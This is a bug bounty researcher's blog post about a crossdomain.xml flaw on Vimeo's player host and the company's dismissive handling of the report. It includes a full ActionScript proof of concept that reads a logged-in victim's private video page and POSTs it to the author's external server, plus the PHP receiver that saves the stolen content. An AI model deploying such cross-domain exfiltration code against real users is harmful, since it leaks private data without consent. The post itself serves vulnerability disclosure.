Hijack Vimeo Private Videos using Flash

Today, I’ll talk about one of my worst experiences in bug bounty programs with Vimeo’s security team. First, if you don’t know Vimeo:

Vimeo (/ˈvɪmioʊ/) is a video-sharing website where users can upload, share, and view videos. It was the first video-sharing site to support high-definition video (started in October 2007). Vimeo was founded in November 2004 by Jake Lodwick and Zach Klein.

They started their bug bounty program on HackerOne 2 years ago.I hadn’t been very active in bug bounty hunting recently, but I saw they paid $600 for private video disclosure and CSRF on Vimeo, which led to private videos going public. I accepted the challenge, and the target wasn’t finding an XSS or a harmless CSRF but finding a way to leak private videos. Since they don’t pay well for XSS or other bugs, you will get duplicated or a mini bounty that wastes time.

So, I started by reading old reports related to this purpose. Almost every report was about crossdomain.xml file misconfiguration, so I focused on this file around Vimeo’s sites. In their rules, there is a point about the crossdomain.xml that should be exploitable, not just a novelty:

Reports of insecure crossdomain.xml configuration (again, unless you have a working proof of concept and not just a report from a scanner). So, I started looking for this file around the sites and tried to find a way to exploit it. I found one here: https://player.vimeo.com/crossdomain.xml

It allows any domain to send requests to this host, so the first step in the exploit is okay, but we can’t say it is a security issue since the player should work on other hosts. I was digging to see what could be leaked, like a CSRF token, a username, an email, etc. Following a series of tests, I discovered that player.vimeo.com checks the user’s cookie to determine whether they are logged in. If they have permission to watch the private video, it will show them the video. I used two browsers, Chrome for unauthenticated user and Firefox for user36551307.

I uploaded a video and set the privacy to only me. Here’s a link: https://player.vimeo.com/video/182118182

When I opened it using FF, I got the following:

Different from Chrome:

The page’s source code depends on user authentication, which can be leaked in both ways. I needed to write a Flash file to send a request to this URL, leak the page’s source code, and see if I could play the video. I copied the HTML page’s source code and saved it on my PC as something like test.html, and it worked! I called it leak.swf, then I needed to modify the flash file in readFrom:String and sendTo:String.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class XDomainXploit extends Sprite {
  public function XDomainXploit() {
   //URL of the private video for the authenticated user  
   var readFrom:String = "https://player.vimeo.com/video/182118182";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }

  private function eventHandler(event:Event):void {
   //URL to the attacker origin 
   var sendTo:String = "http://xxe-me.esy.es/video.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }

I modified it to the video URL and my host’s URL. The swf file sends the Vimeo player’s source code to video.php, which saves the source of this page as a new HTML page.

The video.php source code:

1
2
3
4
5
6
7
8
9
10
<?php
$data = file_get_contents("php://input");
$page_content = file_put_contents('private_video.html', $data, FILE_APPEND | LOCK_EX);
if($page_content === false) {
 die('Didn't work ! ');
}
else { 
 echo "$page_content exploited !";
}
?>

When the file gets the page’s source code from leak.swf, the PHP code creates an HTML page called private_video.html with the source code it got before. I made an exploit with full PoC. Here is the PoC video:

Everything worked just fine. I wrote a good report with PoC, codes, steps, and technical details. I got a bot response saying this is not an issue and to please provide a working PoC. I already did, but I sent the video one more time. Two days later, the team closed the report as “Informative” with this reply:

Thanks for your report. We are aware of this. This is how we allow custom Flash players to work.

I was trying to understand why they closed this. It is 100% a security issue. I replied again, requesting that this report be disclosed publicly. I waited for days and requested mediation from HackerOne Support. Thirty days later, H1 support told me that the Vimeo team pushed the public disclosure two days ago, which should have been published by then. I had to wait to see the reaction of the H1 community. Two more days, and nothing happened. I waited ten more days, thinking maybe it wasn’t published yet, then contacted H1 support again. They replied with this:

Vimeo’s team never replied to me in the report, and they didn’t even fix it or contact me for months. They wanted 60 days after, and I requested the public disclosure above all this. The report was closed as “Informative”. The H1 team had nothing in hand to do, so I wrote this post to show that we don’t live in a bug-bounty heaven. By the way, this isn’t the first time for Vimeo’s team. Here is another report without a bounty or a respectful reply. Take a look here at Report.

Tell me your thoughts in the comments, or contact me on my Twitter account @Abdulahhusam.

Thank you for reading it all.